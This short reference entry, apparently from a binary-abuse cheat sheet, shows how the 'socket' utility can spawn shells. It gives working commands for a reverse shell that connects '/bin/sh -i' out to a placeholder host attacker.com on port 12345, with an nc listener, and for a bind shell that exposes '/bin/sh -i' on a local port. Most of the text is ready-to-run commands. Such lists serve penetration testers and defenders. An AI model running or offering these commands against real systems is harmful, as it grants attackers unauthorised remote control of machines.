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• Reverse shell
• Bind shell

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

• Run nc -l -p 12345 on the attacker box to receive the shell.

  RHOST=attacker.com
  RPORT=12345
  socket -qvp '/bin/sh -i' $RHOST $RPORT

Bind shell

It can bind a shell to a local port to allow remote network access.

• Run nc target.com 12345 on the attacker box to connect to the shell.

  LPORT=12345
  socket -svp '/bin/sh -i' $LPORT